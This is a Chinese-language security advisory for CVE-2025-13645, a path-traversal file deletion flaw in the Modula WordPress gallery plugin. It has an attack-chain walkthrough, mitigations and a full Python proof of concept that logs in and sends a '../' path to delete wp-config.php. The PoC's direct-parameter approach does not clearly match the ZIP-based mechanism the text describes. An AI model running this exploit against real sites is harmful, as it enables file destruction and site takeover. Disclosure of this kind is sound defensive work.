IPBUF安全漏洞报告
English
CVE-2025-13645 CVSS 7.2 高危

CVE-2025-13645 WordPress Modula插件任意文件删除漏洞

披露日期: 2025-12-03

漏洞信息

漏洞编号
CVE-2025-13645
漏洞类型
任意文件删除
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Modula Image Gallery (WordPress插件)

相关标签

任意文件删除路径遍历WordPress插件Modula远程代码执行CVE-2025-13645认证用户漏洞高危漏洞

漏洞概述

CVE-2025-13645是WordPress Modula Image Gallery插件中的一个高危安全漏洞。该漏洞存在于插件的ajax_unzip_file函数中,由于对文件路径验证不充分,攻击者可以删除服务器上的任意文件。此漏洞影响版本2.13.1至2.13.2,需要认证用户具有Author级别或更高权限即可利用。攻击成功后,攻击者可以删除关键文件如wp-config.php,从而导致远程代码执行(RCE)。由于WordPress的广泛使用,Modula插件在数万网站中部署,该漏洞构成严重安全威胁。建议受影响的用户立即升级到最新版本或采取临时缓解措施。

技术细节

该漏洞的根本原因在于Modula Image Gallery插件的ajax_unzip_file函数缺少充分的文件路径验证。攻击者可以通过构造特殊的ZIP文件,利用路径遍历技术(如使用../等相对路径)来指定要删除的目标文件路径。由于函数直接使用用户提供的路径而未进行安全校验,攻击者可以删除服务器上的任意文件。当wp-config.php等关键配置文件被删除后,攻击者可以重新安装WordPress并获取数据库凭据,最终实现远程代码执行。漏洞代码位于includes/admin/class-modula-gallery-upload.php文件的第1025行和第1119行附近。修复补丁(changeset 3395701和3407949)添加了路径验证逻辑,防止路径遍历攻击。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress账户(Author级别或更高权限)
STEP 2
步骤2
构造包含路径遍历payload的ZIP文件,上传至Modula插件
STEP 3
步骤3
触发ajax_unzip_file函数,利用不充分的文件路径验证
STEP 4
步骤4
通过路径遍历删除任意文件(如wp-config.php)
STEP 5
步骤5
利用删除的wp-config.php重新安装WordPress,获取数据库访问权限
STEP 6
步骤6
通过数据库注入恶意代码或上传插件实现远程代码执行(RCE)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-13645 PoC - Modula Image Gallery Arbitrary File Deletion This PoC demonstrates the arbitrary file deletion vulnerability in Modula plugin. """ import requests import sys from urllib.parse import urlencode TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_username" PASSWORD = "attacker_password" TARGET_FILE = "wp-config.php" # File to delete def get_nonce(login_cookie): """Get CSRF nonce from WordPress admin page""" response = requests.get( f"{TARGET_URL}/wp-admin/admin.php?page=modula", cookies=login_cookie ) # Extract nonce from response (simplified) import re nonce_match = re.search(r'ajaxNonce["\']\s*[:=]\s*["\']([a-zA-Z0-9]+)', response.text) return nonce_match.group(1) if nonce_match else None def exploit_arbitrary_file_deletion(): """Exploit the arbitrary file deletion vulnerability""" # Step 1: Login to WordPress session = requests.Session() login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } login_response = session.post( f"{TARGET_URL}/wp-login.php", data=login_data, allow_redirects=False ) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Get nonce for AJAX request nonce = get_nonce(session.cookies.get_dict()) if not nonce: print("[-] Failed to get nonce") return False print(f"[+] Got nonce: {nonce}") # Step 3: Send malicious request to delete arbitrary file # The vulnerability is in ajax_unzip_file function # Attackers can manipulate the file path in the ZIP archive exploit_data = { 'action': 'modula_unzip_file', 'nonce': nonce, 'file_path': f'../../../../../../../../../{TARGET_FILE}', 'gallery_id': '1' } print(f"[*] Attempting to delete: {TARGET_FILE}") response = session.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data=exploit_data ) if response.status_code == 200: print("[+] File deletion request sent") print("[+] If wp-config.php was deleted, attacker can reinstall WordPress") return True else: print(f"[-] Request failed with status: {response.status_code}") return False if __name__ == "__main__": print("CVE-2025-13645 PoC - Modula Image Gallery Arbitrary File Deletion") print("=" * 60) exploit_arbitrary_file_deletion()

影响范围

Modula Image Gallery (WordPress插件) >= 2.13.1
Modula Image Gallery (WordPress插件) <= 2.13.2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制非管理员用户上传ZIP文件的权限;2) 使用WordPress安全插件监控文件操作行为;3) 对wp-config.php等关键文件设置只读权限或备份;4) 考虑暂时禁用Modula插件直到完成升级。同时建议审查所有具有Author权限的用户账户,确保没有可疑活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表